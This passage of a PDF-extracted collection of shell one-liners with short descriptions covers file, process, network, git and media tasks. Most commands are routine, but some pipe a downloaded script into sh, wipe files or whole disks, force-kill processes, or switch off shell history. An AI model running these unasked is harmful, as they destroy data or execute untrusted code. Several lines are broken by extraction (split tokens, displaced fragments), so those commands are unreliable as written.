gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf 1.pdf 2.pdf
3.pdf 4.pdf
# capture screen and mic
ffmpeg -f alsa -i default -f x11grab -s sxga -r 10 -i :0.0 -f mp4 -s vga -sameq out.mp4
# Show CPU idle and used time
grep "cpu " /proc/stat | awk -F ' ' '{total = $2 + $3 + $4 + $5} END {print "idle \t used\n"
$5*100/total "% " $2*100/total "%"}'
# Kill google chrome process
for i in $(ps x | grep chrome | cut -d"?" -f1 | grep -v chrome); do kill -9 $i ; done
# Find directory by name
find . -type d -name '.svn' -ls
# Writing the output of a command to end of a file
COMMAND - OPTIONS - MORE OPTIONS | tee >> /file/you/want_to_append_output_to
# Set window name when SSH'ing while using screen
ssh() { [ $TERM == screen ] && (screen -X title "${1##*@}"; command ssh "$@"; screen -X
title '';exit;) || command ssh "$@"; }
# php command show status memcache
watch 'php -r '"'"'$m=new Memcache;$m->connect("127.0.0.1", 11211);print_r($m>getstats());'"'"
# One line web server (working with any web browser)
nc -kl 5432 -c 'echo -e "HTTP/1.1 200 OK\r\n$(date)\r\n\r\n";echo "<p>How are you today?
</p>"'
# change mac address
ifconfig eth0 hw ether 00:11:22:33:44:55
# Create a file list of all package files installed on your Red-Hat-like system for easy
grepping
for i in `rpm -qva | sort ` ; do ; echo "===== $i =====" ; rpm -qvl $i ; done >
/tmp/pkgdetails

# Grap all images with the tags 'bitch' and 'bw' from a flickr photofeed
for URL in `wget -O - http://api.flickr.com/services/feeds/photos_public.gne?tags=bitch,bw
2>/dev/null | grep -E -o "http[^ ]+?jpg" | grep -v "_m" | uniq | grep -v 'buddy' `; do
FILE=`echo $URL | grep -E -o "[0-9a-z_]+\.jpg"`; curl $URL > $FILE; done;
# lists contents of a tar file
tar -tf /path/to/file.tar
# Enable NetworkManager (in KDE)
dbus-send --system --print-reply --dest=org.freedesktop.NetworkManager
/org/freedesktop/NetworkManager org.freedesktop.NetworkManager.Enable boolean:true
# see what traffic is mostly hitting you
tcpdump -i eth0 -n | head

405 / 658

All UNIX COMMANDS


# Find files with size over 100MB and output with better lay-out
find ./ -type f -size +100000k -exec ls -lh {} \; 2>/dev/null| awk '{ print $8 " : " $5}'
# Kill google chrome process
kill $(pidof chrome)
# List empty directories only in present level
find ./ -maxdepth 1 -empty -type d -print
# encode HTML entities
perl -MHTML::Entities -ne 'print encode_entities($_)' /tmp/subor.txt
# command for conky. To update a random command for each 300 sec from commandline.com
${execi 300 lynx --dump http://www.commandlinefu.com/commands/random/plaintext | grep .}
# find potentially malicious PHP commands used in backdoors and aliked scripts
for ii in $(find /path/to/docroot -type f -name \*.php); do echo $ii; wc -lc $ii | awk
'{ nr=$2/($1 + 1); printf("%d\n",nr); }'; done
# Show counts of messages in exim mail queue, grouped by recipient
sudo /usr/sbin/exim -bp | sed -n '/\*\*\* frozen \*\*\*/,+1!p' | awk '{print $1}' | tr -d
[:blank:] | grep @ | sort | uniq -c | sort -n
# Show sizes and calculate sum of all files found by find
find -name *.bak -print0 | du -hc --files0-from=# Test your total disk IO capacity, regardless of caching, to find out how fast the TRUE
speed of your disks are
time dd if=/dev/zero of=blah.out oflag=direct bs=256M count=1
# download and run script from trusted webserver
wget -qO - sometrusted.web.site/tmp/somecommand | sh
# Compile python script. Generated file will overwrite anything at /path/to/script.pyc
python -c $(echo -e 'import py_compile\npy_compile.compile("/path/to/script.py")');
# move contents of the current directory to the parent directory, then remove current
directory.
mv -n * ../; cd ..; rmdir $OLDPWD
# Find all videos under current directory using MIME a.k.a not using extension
allVideos() { find ./ -type f -print0 | xargs -0 file -iNf - | grep ": video/" | cut -d:
-f1; }
# I use this find command example to find out all the executable files
find . -perm 777 ?print
# Kill google chrome process
kill -9 $(pidof chrome)
# watch iptables counters
while true; do iptables -nvL > /tmp/now; diff -U0 /tmp/prev /tmp/now > /tmp/diff; clear; cat
/tmp/diff; mv /tmp/now /tmp/prev; slee p 1; done
# connects to db2 database instance/alias "stgndv2" user "pmserver" using password "xxxxxxx"
db2 CONNECT TO stgndv2 USER pmserver USING ********
# How to reliably open a file in the same directory as a Python script
__location__ = os.path.realpath(os.path.join(os.getcwd(), os.path.dirname(__file__)))

406 / 658

All UNIX COMMANDS


# Less verbose CVS status (skips unmodified up-to-date files)
cvs -q status | grep ^[?F] | grep -v 'to-date'
# Find pictures excepting a path
find . \( -not -path "./boost*" \) -type f \( -name "*.jpg" -or -name "*.png" -or -name
"*.jpeg" \) 2>/dev/null
# moreplayingaround
curl -s -u username:passwd http://twitter.com/statuses/friends_timeline.rss|grep title|sed
-ne 's/<\/*title>//gp' |festival --tts

# Strip out time difference entries when verifying rpms on x86_64 RHEL systems
rpm -Va | grep -v "\.\.\.\.\.\.\.T"
# Generate Random Passwords
dd if=/dev/urandom count=200 bs=1 2>/dev/null | tr "\n" " " | sed 's/[^a-zA-Z0-9]//g' | cut
-c-16
# Consistent Oracle Datapump Export
expdp user/password FLASHBACK_SCN=$(echo -e "select current_scn from v\$database;" | sqlplus
/ as sysdba 2>/dev/null| grep [0-9][0-9][0-9][0-9][0-9][0-9]*)
# Disaster Snapshot (procmail)
for x in `grep server /tmp/error.log | awk '{print $3}'`; do \ t=`date "+%d-%m-%H%M%S"` ;
ssh -q -t admin@$x.domain.com 'pstree -auln' > ~/snapshots/$x-$t.out \ done
# Calculate the size in MB of all files of a certain extension
find . -type f -iname '*.msh' -exec ls -lG {} \; | awk '{total = total + $4}END{print
"scale=2;" total "/2^20"}' | bc
# Check in current directory to SVN with commical/terrible commit message. (Please don't
actually run this command!)
svn ci -m "$(curl -s http://whatthecommit.com | sed -n '/<p>/,/<\/p>/p' | sed '$d' | sed
's/<p>//')"
# Run query on remote database and output results as csv
mysql -u[user] -p[password] -h [hostname] -D [database] -ss -e "select * from mysql_tbl " |
sed 's/\t/","/g;s/^/"/;s/$/"/;s/\n//g' > dump.csv
# Boot block devices as virtual devices in Virtual Box
VBoxManage internalcommands createrawvmdk -filename [path/to/file/name.vmdk] -rawdisk /dev/
[block_device]
# Find all FAT-invalid filenames in "."
find . | grep -E "(\||\\|\?|\*|<|\"|:|>|\+|\[|\])"
# List users in a group
lid -g <group>
# Show the source code of a LaTeX class or package or a TeX file in general
less `kpsewhich scrartcl.cls`
# DB2 Load command instead of truncate or delete command, to get rid of table rows
db2 CONNECT TO stgndv2; db2 'load from /dev/null of del replace into
STMOT.ST_MORT_ARRG_DELTA nonrecoverable'
# List recursively only empty folders on present dir

407 / 658

All UNIX COMMANDS


find ./ -empty -type d -print
# find git commits by description
cat /tmp/commit_list | { while read old_commit ; do msg="`git log --pretty=oneline
$old_commit'^'..$old_commit | sed 's/[0-9a-f]* //' | sed 's/[^A-Za-z0-9]/./g'`"; git log
--pretty=oneline HEAD@'{100}'..HEAD | grep "$msg" ; done ; }
# Copy modified files between two Git commits
git diff --name-only --diff-filter=AMXTCR HEAD~2 HEAD | xargs -l -I{}
--verbose "{}" target_dir

cp --parents

# Yardstick static analysis report sorted by which JavaScript files have the highest ratio
of comments to code.
find . -name *js -type f | xargs yardstick | sort -k6 -n
# total number of files inside current directory
ls -R | wc -l
# Simplest web server ever!
nc -k -l 5432 -c 'echo My Web Server is Alive'
# Grant read-only permissions to user or group
icacls directory_or_file /grant user_or_group:(OI)(CI)rx /t / l /q
# Create a random file of a certain, and display progress along the way.
SIZE=1; dd if=/dev/zero bs=1M count=$((SIZE*1024)) | pv -pters $((SIZE*1024*1024*1024)) |
openssl enc -aes-256-ctr -pass pass:"$(dd if=/dev/urandom bs=128 count=1 2>/dev/null |
base64)" -nosalt > randomfile
# Easily move around many directories
a() { alias $1=cd\ $PWD; }
# Lazy man's vim
function v { if [ -z $1 ]; then vim; else vim *$1*; fi }
# Drag A Dashboard Widget Onto OS X Desktop
defaults write com.apple.dashboard devmode YES
# let a cow tell you your fortune
fortune | cowsay -f tux
# Get the latest ftp file from ftp server on local machine with lftp and bash. (Piped
commands inside lftp).
ftp-latest <<< "cd /; cls -1 | tail -1 | xargs -I% echo get % | /PATH/TO/ftp-latest"

# Find all NTFS-invalid filenames in "."


find . | grep -E "(\||\\|\?|\*|<|\"|:|>)"
# Pop up a Growl alert if Amtrak wifi doesn't know where to find The Google
while [ 1 ]; do (ping -c 1 google.com || growlnotify -m 'ur wifiz, it has teh sad'); sleep
10; done
# Check if TCP port 25 is open
netstat -tln | grep :25
# Search vmware vmx files if Linux guests are set to sync time to host
for x in `find /vmfs/volumes/ -name *vmx -exec grep -H linux.iso {} \;
echo $x; grep -i sync $x; done;

408 / 658

|cut -d : -f 1`; do

All UNIX COMMANDS


# Comment out all lines in a file beginning with string
sed -i '/^somestring/ s/^/#/' somefile.cfg
# Change Mac OS X Login Picture
defaults write /Library/Preferences/com.apple.loginwindow DesktopPicture
"/System/Library/CoreServices/Finder.app/Contents/Resources/vortex.png"
# A better 'apt-cache' using Xapian to rank results
axi-cache search <searchterm>
# Combine DVD Studio Pro DDP layers back into a DVD disc image for testing
cat dvd_output/Layer0/IMAGE.DAT dvd_output/Layer1/IMAGE.DAT > dvd.iso
# Given $PID, print all child processes on stdout
ps axo pid,ppid | awk "{ if ( \$2 == $PID ) { print \$1 }}")
# Find lines of code (LOC) of a filetype in a project.
find . -type f -name "*.py" -exec wc -l {} \; | awk '{ SUM += $1} END {print SUM }'
# Find all e-mails older than 7 days in the queue and delete them
find /var/spool/mqueue -type f -mtime +7 | perl -lne unlink
# Shows the line of the string you want to search for (like in normal grep) plus 'n' number
of lines above and below it.
grep -C <no_of_lines> <string>
# Prompt the user for input of y or n, wait for input then continue.
read -p "Question that you want an answer to?" yn
# Find the 10 users that take up the most disk space
du -sm /home/* | sort -n | tail -10
# Set GIT_COMMITTER_DATE = GIT_AUTHOR_DATE for all the git commits
git filter-branch --env-filter 'export GIT_COMMITTER_DATE="$GIT_AUTHOR_DATE"'
# replace dots in filenames with dashes
zmv '(*.*)(.*)' '${1//./_}$2'
# Check if TCP port 25 is open
sudo lsof -iTCP:25 -sTCP:LISTEN
# Find longest running non-root processes on a machine
ps -eo etime,pid,pcpu,ppid,args | sed -e '/\[.\+\]/d' -e '/^[ \t]*[0-9]\{2\}:[0-9]\{2\} /d'
| sort -k1r
# Delete all files in a folder that don't match a certain file extension
find . -type f ! -name "*.foo" -name "*.bar" -delete
# Find out which process uses an old lib and needs a restart after a system update
sudo lsof | grep 'DEL.*lib' | cut -f 1 -d ' ' | sort -u
# underscore to camelCase
echo "hello_world" | sed -r 's/([a-z]+)_([a-z])([a-z]+)/\1\U\2\L\3/'
# disable services without uninstalling them
update-rc.d -f foobar remove && update-rc.d foobar stop
# Add executable bit to all shell scripts under current directory recursively.
find . -type f -name "*.sh" -exec chmod u+x {} \;

409 / 658

All UNIX COMMANDS


# Display the top ten running processes - sorted by memory usage
ps axo %mem,pid,euser,cmd | sort -nr | head -n 10
# grep 2 words existing on the same line
grep -E/egrep 'word1.*word2|word2.*word1' "$@"

# Count the number of characters in a string from the standard input.


echo -n "foo" | wc -c
# Convert input to a line of quote protected CSV
cat file | paste -s -d'%' - | sed 's/\(^\|$\)/"/g;s/%/","/g'
# tar+pbzip2 a dir
tar --exclude='patternToExclude' --use-compress-program=pbzip2 -cf 'my-archive.tar.bz2'
directoyToZip/
# Find all processes running under your username.
ps -ef | grep $USER
# How to know if your NIC receive link
watch ethtool eth0
# Finds all of the mailers being used in your rails app
egrep -r '(render_message|multipart).*('`find app/views -name '*.erb' | grep mailer | sed -e
's/\..*//' -e 's/.*\///' | uniq | xargs | sed 's/ /|/g'`')' app/models
# Talk to the doctor (Eliza-like)
emacs <ESC+x> doctor
# Commit current modified or added files in current svn repository
svn status | grep -v ? | awk '{print $2}' > file.svn.txt && svn ci --targets file.svn.txt -m
"[your commit message here]"
# Download all images from a 4chan thread
curl -s http://boards.4chan.org/wg/|sed -r 's/.*href="([^"]*).*/\1\n/g'|grep images|xargs
wget
# Sort all files and directories by size, rounded to the nearest megabyte. (Substitute
custom path for *.)
du -ms * | sort -nr
# Erase a re-writable DVD from commandline
dvd+rw-format -force /dev/dvd
# disable Internet services (i.e., those using inetd) without uninstalling
update-inetd --disable foobar && /etc/init.d/inetutils-inetd restart
# Add executable bit to all shell scripts under current directory recursively.
find . -type f -exec file '{}' + | grep shell | awk -F':' '{print $1}' | xargs chmod u+x
# get LAN ip
ifconfig | grep inet
# Print data from field 9 till the end separated by a white space and new record separated
by newline.
awk '{for (i=9;i<=NF;i++) {printf "%s",$i; printf "%s", " ";}; printf "\n"}'

410 / 658

All UNIX COMMANDS


# Dump filtered twitter stream to a file
curl -s -u $USERNAME -X POST -d "track=obama,barack"
https://stream.twitter.com/1.1/statuses/filter.json -o twitter-stream.out
# Get your external IP address
curl l2.io/ip
# Adding user to printer, after installing hp-lip (Debian)
sudo adduser [username] lp && sudo adduser [username] lpadmin && sudo hp-setup -i
# Smart remove - Removes files and directories smarter. Put it in your
~/.bash_profile/~/.bash_*
srm() { if [[ -d $1 ]]; then rm -R $1; else rm $1; fi }
# edit list of files in last command
vi `!!`
# Add the sbin directories to your PATH if it doesn't already exist in ZSH.
path+=( /sbin /usr/sbin /usr/local/sbin ); path=( ${(u)path} );
# Convert .flv to .avi
ffmpeg -i file.flv file.avi
# Find the USERid of a SUDOed user
REALUSERID=`TTYTEST=$(ps | awk '{print $2}' |tail -1); ps -ef |grep "$TTYTEST$" |awk '{print
$1}'`;echo $REALUSERID
# Simple file wipe
for F in `find ./ -type f`;do SIZE=`ls -s $F | awk -F" " '{print $1}'`; dd if=/dev/urandom
of=$F bs=1024 count=$SIZE;done
# Remove i386 RPM packages from x86_64 CentOS/RHEL
yum remove `rpm -qa --qf "%{n}.%{arch}\n"|grep i386`

# List only locally modified files with CVS


cvs -Q status | perl -ne 'print if m/^File.+Status: (?!Up-to-date)/ .. m/^=/;'
# Create a shell script from history of commands
history | awk '{$1=""; print $0}' > install_pkg.sh
# exec chmod to subfiles
find . -type f -exec chmod a-x {} \;
# List tasks running
tasklist
# immediatly attach to previous tmux session when connecting through ssh
ssh -t user@remote_host tmux attach
# diff files ignoring comments and blank lines (lines starting with #)
diff -u <(grep -vE '^(#|$)' file1) <(grep -vE '^(#|$)' file2)
# IBM AIX: List directory size with max depth
du -g | perl -ne 'print if (tr#/#/# == <maximum depth>)'
# Batch rename files by their epoch last modified time.
for i in somefiles*.png ; do echo "$i" ; N=$(stat -c %Y $i); mv -i $i $N.png; done

411 / 658

All UNIX COMMANDS


# use !$ to retrieve filename used with last command
vim !$
# backup mysql database
0 0 * * 0 /usr/bin/mysqldump -uroot -p'<password>' data_base_name > /home/bob/XYZ_DB_BACKUP/
$(date +\%Y-\%m-\%d_\%Hh\%M).sql
# Cloack an IP range from some IPs via iptables
iptables -A FORWARD -i br0 -m iprange --src-range 192.168.0.x-192.168.0.y -m iprange --dstrange 192.168.0.w-192.168.0.z -j DROP
# Watching directories
watch -n1 "ls -p | grep '/$'"
# Red?marrage apache dans ubuntu
/etc/init.d/apache2 restart
# Backup a pendrive or disk under windows with dd
dd.exe --progress if=\\.\Volume{0b1a0cbe-11da-11c0-ab53-003045c00008} of=pendrive.img
# List wireless clients connected to an access point
wlanconfig <wireless_device> list sta
# Search ruby-files with non-ascii character, but without encoding directive
grep -l --include '*.rb' --include '*.rake' '^[^#]*[^a-zA-Z0-9[:punct:][:space:]]' -R . |
xargs -L1 awk '!/encoding/ && NR < 2 { print FILENAME }'
# move all the .bak backup copies to their original names (rename files by stripping the
extension)
for i in *.bak ; do nuname=`echo $i | sed 's/\.[^\.]*$//'`; echo renaming $i to $nuname;mv
$i $nuname; done
# displays comments from random jpeg files.
find ~/random_jpegs/folder -name "*.jpg" -exec rdjpgcom {} \;
# Extract multiple file in a directory
for i in *.tar.gz; do tar -xzf $i; done
# put environment variable in history to edit
print -s "PATH='$PATH'"
# Transfer sqlite3 data to mysql
sqlite3 mydb.sqlite3 '.dump' | grep -vE '^(BEGIN|COMMIT|CREATE|DELETE)|"sqlite_sequence"' |
sed -r 's/"([^"]+)"/`\1`/' | tee mydb.sql | mysql -p mydb
# Persistent saving of iptables rules
iptables-save > firewall.conf; rm -f /etc/network/if-up.d/iptables; echo '#!/bin/sh' >
/etc/network/if-up.d/iptables; echo "iptables-restore < firewall.conf" >> /etc/network/ifup.d/iptables; chmod +x /etc/network/if-up.d/iptables
# Copy a file over SSH without SCP
cat LOCALFILE | ssh HOST "cat > REMOTEFILE"
# Count the number of deleted files
find /path/folder -type f -name "*.*" -print -exec rm -v {} + | wc -l;
# determine process from solaris crash dump
pflags core.12462 | grep "core "

412 / 658

All UNIX COMMANDS


# starts a detached screen with name
screen -S [name] -d -m [<command>]
# Fix SELinux problem with Postfix on Centos
grep postfix /var/log/messages | audit2allow -M mypolicy
# Install phpmyadmin in Debian 6
apt-get install phpmyadmin; echo "Include /etc/phpmyadmin/apache.conf" >>
/etc/apache2/apache2.conf; service apache2 restart
# List wireless clients connected to an access point
arp -i <interface>
# Export ms access mdb to mysql sql
db=example.mdb; backend=mysql; mdb-schema "$db" $backend | grep -v 'COMMENT ON COLUMN' &&
mdb-tables -1 "$db" | xargs -I {} mdb-export -I $backend "$db" {}
# Remove duplicate line in a text file.
sort in-file.txt | uniq -u > out-file.txt
# Quick aliases for going up a directory tree
alias ::='cd ../../'
# YouTube Convert and Download All User's Videos to MP3s on the fly
Command in description (Your command is too long - please keep it to less than 255
characters)
# Find the process you are looking for minus the grepped one
pgrep -fl myprog
# Shows size of dirs and files, hidden or not, sorted.
ls -a | du --max-depth=1 -h 2>/dev/null |sort -h
# Lossless DVD rips with
mplayer dvd://1 -dumpstream -dumpfile /tmp/file.mpg
# gets the bare ip(s) of a domain
dig commandlinefu.com | sed -nr 's/^[^;].*?\s([.0-9]{7,15})$/\1/ p'
# When need to compress the Zope Database
python fsrecovery.py -P 0 -f <path-to-instance>/Data.fs <path-to-instancedestination>/Data.fs.packed
# create an application launcher shortcut that allow only one process of it running
sh -c 'if pgrep x2vnc && env LC_ALL=C xmessage -button "Kill it:0,Ignore it:1" "Another
connection is already running. Should I kill it instead of ignoring it?"; then killall
x2vnc; fi; x2vnc -passwd /home/Ariel/.vnc/passwd -east emerson:0'
# Network traffic on NICs in mbps without sar, iperf, etc...
RX1=`cat /sys/class/net/${INTERFACE}/statistics/rx_bytes` (see script below)
# Across an entire subtree, list not-empty directories that have no child-directories,
globally sorted by their respective mtime
ls -ltr --directory $(find . -regex "./.*[^/]*\'" -type f | xargs -n 1 dirname | sort |
uniq)
# Export a postgresql query into csv file
# su -c "psql -d maillog -c \"copy (select date,sender,destination,subject from maillog
where destination like '%domain.com%') to '/tmp/mails.csv' with csv;\" " postgres

413 / 658

All UNIX COMMANDS


# simple perl global search and replace in files
perl -pi -e 's/localhost/replacementhost/g' *.php
# Shorten url using bit.ly API
curl -s --data-urlencode 'longUrl='$1 --data-urlencode 'login='$login --data-urlencode
'apiKey='$apikey 'http://api.bit.ly/shorten?version=2.0.1&format=xml' | xmlstarlet sel -T -t
-m "//shortUrl" -v "." | line
# Random cow tells your fortune
files=(/usr/share/cowsay/cows/*);cowsay -f `printf "%s\n" "${files[RANDOM % ${#files}]}"`
"`fortune`"
# X11vnc starting session command
x11vnc -rfbauth /etc/x11vnc.pass -o /tmp/x11vnc.log -forever -bg -noxdamage -rfbport 5900
-avahi -display :0
# find multiple files in directory and perform search and replace on each of them
files=$(find /dir/file -name *.txt -exec grep -l a {} \;) && perl -p -i -e 's/old/new/g;'
$files
# Remove the last string character using rev and cut
echo "command lines" | rev | cut -c 2- | rev
# Completly blank a disk
shred --iterations=N /dev/sdaX
# List of top commands from CommandLineFu
alias fu='curl -s http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext |
grep -vE "^$|^#"'

# Remove color codes (special characters) with sed


sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[m|K]//g"
# Register all DLLs in a given folder
for %1 in (*.dll) do regsvr32 /s %1
# Check to see if a command exists
command -v <command>
# Execute a command with a timeout
alarm() { perl -e 'alarm shift; exec @ARGV' "$@"; }; alarm 20 foo arg1
# Delete an IPtable rules based on row number
iptables -L -vnx --line-numbers; iptables -t nat -D <chain-name> <number>
# Replace strings in files
sed -i -e 's/war/peace/g' *
# Show a Package Version on Debian based distribution
dpkg-query -W -f='${Version}' package-name
# get eth0 ip address
ip -f inet addr |grep "global eth0$"|awk '{print $2}'|cut -d '/' -f 1
# Download a set of files that are numbered
for i in `seq -w 1 50`; do wget --continue \ http://commandline.org.uk/images/posts/animal/
$i.jpg; done

414 / 658

All UNIX COMMANDS


# Command results as an image capture
netstat -rn | convert label:@- netstat.png
# Returns last day of current month
cal | egrep -e '^ [0-9]|^[0-9]' | tr '\n' ' ' | awk '{print $NF}'
# git - create a local branch that tracks with the remote branch
git checkout -tb mybranch origin/mybranch
# Remount all NFS mounts on a host
for P in $(mount | awk '/type nfs / {print $3;}'); do echo $P; sudo umount $P && sudo mount
$P && echo "ok :)"; done
# Download the last most popular 20 pictures from 500px
for line in `wget --referer='http://500px.com/' --quiet -O- http://500px.com/popular | grep
"from=popular" | sed -n 's/.*<img src="\([^"]*\)".*/\1/p' | sed s/"3.jpg"/"4.jpg"/ | sed
s/"?t".*$//`; do wget -O $RANDOM.jpg --quiet "$line"; done
# copy zip files which contains XXX
for i in *RET.zip; do unzip -l "$i"| grep -B 4 XXX | grep RET| sed "s/.\+EPS/EPS/" |xargs -I
'{}' cp '{}' out/'{}';done;
# see the partition
partx -l /dev/sdX
# Extract domain from URl
MYURL=http://test.example.com ; awk -F/ '{ print $3 }' <<< $MYURL | awk -F. '{ if ( $(NF-1)
== "co" || $(NF-1) == "com" ) printf $(NF-2)"."; print $(NF-1)"."$(NF); }'
# Syslog System Reporting in a shell
tail -f --retry /var/log/syslog /var/log/auth.log | ccze -A
# Watch those evil Red Hat states code D Uninterruptible sleep (usually IO).
watch -n 1 "ps aux | sed -n 's/ D /&/p'"
# List Big Files/Directories
du -h |grep -P "^\S*G"
# Grabs video from dv firewire camera and plays it on mplayer.
dvgrab - | mplayer # Find out actual full path of <file>
readlink -f <file>
# pick up 3 lines start at every 5th line of file.txt
sed -n '1~5{N;N;p}' file.txt
# Move windows in GNU screen
<Ctrl+A>:number [id]
# Fix Ubuntu's Broken Sound Server
pulseaudio -k && pulseaudio --start >/dev/null 2>&1 &

# Pipe media file on samba share to mplayer


smbget -u username -p passw0rd -w domain_or_workgroup //server/share/mediafile.ogv -O - |
mplayer -

415 / 658

All UNIX COMMANDS


# Regular expression search pattern to remove the Datetime and Name when you paste from
skype chat into your text editor
sed -i 's/^.*?].*?:\s//g' skype-chat-log.txt
# List open TCP/UDP ports
netstat -anp --tcp --udp | grep LISTEN
# Attach all discovered iscsi nodes
iscsiadm -m node -l
# Analyze Apache Web Log Statistics starting on DATE x
sed -n '/05\/Dec\/2010/,$ p' access.log | goaccess -s -b
# Print the lastest stable version of Perl
curl -s http://www.perl.org/get.html | grep -m1 '\.tar\.gz' | sed 's/.*perl-//;
s/\.tar\.gz.*//'
# creates a ppp link between my Ubuntu development machine and BeagleBoard running Android
connected via USB
sudo `which adb` ppp "shell:pppd nodetach noauth noipdefault /dev/tty" nodetach noauth
noipdefault notty 192.168.0.100:192.168.0.200
# Manually rotate logs
or i in `seq 1 12| tac` ; do mv access_log.{$i,$((i+1))}.gz ; done
# Directory management
alias md='mkdir -p'; alias rd='rmdir'; mcd () { mkdir "$@" && cd "$_"; }
# Extract .tar.lzma archive
tar --lzma -xvf /path/to/archive
# list files other than, those, where you know, part of the name (e.g. file extension)
ls -l !(*.part)
# Show number of connections per remote IP
netstat -antu | awk '$5 ~ /[0-9]:/{split($5, a, ":"); ips[a[1]]++} END {for (ip in ips)
print ips[ip], ip | "sort -k1 -nr"}'
# Svn conflicted file resolve
svn st | grep ! | cut -c 9- | while read line;do svn resolved $line;done
# Let google say something for you! (mpv can be replaced by any mp3-decoder)
say () { mpv $(sed -E "s;([a-Z]*)( |
$);http://ssl.gstatic.com/dictionary/static/sounds/de/0/\1.mp3 ;g" <<< $*); }; say hello
world "how is it" going
# Share the current tree over the web
python -c "import SimpleHTTPServer;SimpleHTTPServer.test()"
# Mount an ISO image on Mac OS X
hdiutil mount sample.iso
# List open TCP/UDP ports
netstat -ltun
# View the newest xkcd comic.
curl -s 'xkcd.com' | awk -F\" '/^<img/{printf("<?xml version=\"1.0\"?>\n<xkcd>\n<item>\n
<title>%s</title>\n <comment>%s</comment>\n <image>%s</image>\n</item>\n</xkcd>\n", $6, $4,
$2)}'

416 / 658

All UNIX COMMANDS


# Convert first letter of string to uppercase
string="${string^}"
# Timer with sound alarm
sleep 15m; yes > /dev/dsp
# Create a CD/DVD ISO image from disk.
cp /dev/cdrom file.iso
# repository search
aptitude search ~d "irc client"|grep -i "irc client"
# Diff with Sections/Headers
diff -U 9999 file_a file_b | tail -n +3 | grep -P "^(\ Header|\-|\+)"
# kill an arbitrary process running on an Android device attached via USB debug cable
adb shell ps | grep <process name> | awk '{print $2}' | xargs adb shell kill
# recursively change file name from uppercase to lowercase (or viceversa)
find ./ -type f -exec sh -c 'echo "{}" "$(dirname "{}")/$(basename "{}" | tr "[A-Z]" "[az]")"' \;

# Find text in all files, except in files matching a pattern


grep -lir 'aMethodName' * | grep -v 'target'
# perl read file content
$text = do {local(@ARGV, $/) = $file ; <>; }; [or] sub read_file { local(@ARGV, $/) = @_ ;
<>; }
# Print all interfaces IP and Mac address in the same line
ifconfig | egrep -A2 "eth|wlan" | tr -d "\n"| sed 's/\-\-/\n/g'|awk '{print "mac: "$5 " "
$7}' | sed 's/addr:/addr: /g'
# convert unixtime to human-readable
echo "0t${currentEpoch}=Y" | /usr/bin/adb
# Run remote web page, but don't save the results
wget -q --spider http://server/cgi/script
# Create new user with home directory and given password
useradd -m -p $(perl -e'print crypt("pass", "mb")') user
# Duplicate a line in a text file and replace part of the duplicated line
sed -i -e '/foo/p' -e 's/foo/barfoo/' file
# Don't save commands in bash history (only for current session)
export HISTSIZE=0
# Recursively scan directories for mp3s and pass them to mplayer
$ find . -iname *.mp3 | while read line ; do ln -s "$line" $(echo -e "$line" | openssl
md5).mp3 ; done ; mpg123 *.mp3
# List your interfaces and MAC addresses
ifconfig | awk '/HWaddr/ { print $1, $5 }'
# Copy ssh keys to user@host to enable password-less ssh logins.
cat ~/.ssh/id_rsa.pub | ssh user@host 'cat >> ~/.ssh/authorized_keys'

417 / 658

All UNIX COMMANDS


# A fun little harmless prank to pull on your friends.
while true; do sleep $(($RANDOM%50)); timeout 1 speaker-test -f 20000 -t sine 2>/dev/null;
done&
# Name retina images. if you get a bunch of retina images named like name.png, you can use
this script to rename them properly. ie. name@2x.png
for f in *.png; do mv $f `basename $f .png`@2x.png; done
# Make ISO images on Linux
dd if=/dev/cdrom of=cd.iso
# ssh autocomplete based on ~/.ssh/config
complete -o default -o nospace -W "$(grep -i -e '^host ' ~/.ssh/config | awk '{print
substr($0, index($0,$2))}' ORS=' ')" ssh scp sftp
# Create a new detached screen session running command in background
$ screen -S test -d -m -- sh -c 'date; exec $SHELL'
# ps to show child thread PIDs
ps -efL | grep <Process Name>
# print scalar gmtime
perl -e "print scalar(gmtime(1247848584))"
# Find large files in current directory
alias big='BIG () { find . -size +${1}M -ls; }; BIG $1'
# Print full LVM LV paths (for copy&paste)
lvs | awk '{printf("/dev/%- 40s %-7s %10s %20s %6s %5s %5s %5s %5s\n", $2 "/" $1, $3, $4,
$5, $6, $7, $8, $9, $10)}'
# 1 pass wipe of a complete disk with status
pv -s `fdisk -l /dev/sdX|grep "Disk /"|cut -d' ' -f5` /dev/zero >/dev/sdX
# Extract single column from TPC-H datafiles
awk -F\| '{ print $2 }' nation.tbl
# Quickly find files and folders in the current directory
ff() { find -maxdepth 3 -type f | grep -i "$1"; }; fd() { find -maxdepth 4 -type d | grep -i
"$1"; }
# Purge completely packages on debian / ubuntu
dpkg -l | grep ^rc | awk '{ print $2}' | xargs apt-get -y remove --purge
# Mass rename files in git
for file in $(git ls-files | grep old_name_pattern); do git mv $file $(echo $file | sed -e
's/old_name_pattern/new_name_pattern/'); done

# Recursive search inside the content of files under current directory - then view the
result paginated with 'pess'
find . -exec grep -Hn what \{\} \; | less
# command for converting wav files to mp3
find . -iname "*wav" > step1 ; sed -e 's/\(^.*\)wav/\"\1wav\" \"\1mp3\"/' step1 > step2 ;
sed -e 's/^/lame /' step2 > step3 ; chmod +x step3 ; ./step3
# List all rpms on system by name, version and release numbers, and architecture
rpm -qa --qf '%{name}-%{version}-%{release}.%{arch}\n'

418 / 658

All UNIX COMMANDS


# alias for etckeeper, to commit changes after moification of etc
function ec() { ec_var="`pwd`" && cd /etc/ && sudo bzr commit -m "$@" && cd $ec_var; }
# get time in other timezones
let utime=$offsetutc*3600+$(date --utc +%s)+3600; date --utc --date=@${utime}
# Quick Full Screen RDP connection
alias rdp='rdesktop -u <user> -g 1600x1200 -D -r disk:home=/home -r
clipboard:PRIMARYCLIPBOARD'
# Remove i386 RPM packages from x86_64 CentOS/RHEL
yum remove \*.i\?86
# Find and sort by Resident Size of each process on the system in MB
sudo ps aux --sort:rss | awk '{print $2"\t"$11": "$6/1024" MB"}' | column -t | less
# Count Number of Columns in TPC-H table-file (or any pipe seperated file
head -n1 nation.tbl | sed 's/\(.\)/\1\n/g' | sort | uniq -c | grep \| | awk

'{ print $1 }'

# Arch Linux sort installed packages by size


expac -S -H M "%m %n"|sort -n
# Safely remove files from the terminal
alias rrm='/bin/rm -i'; alias rm='trash'
# What is my ip?
curl -s mi-ip.net | grep '"ip"' | cut -f2 -d ">" | egrep -o '[0-9.]+'
# Alias for lazy tmux create/reattach
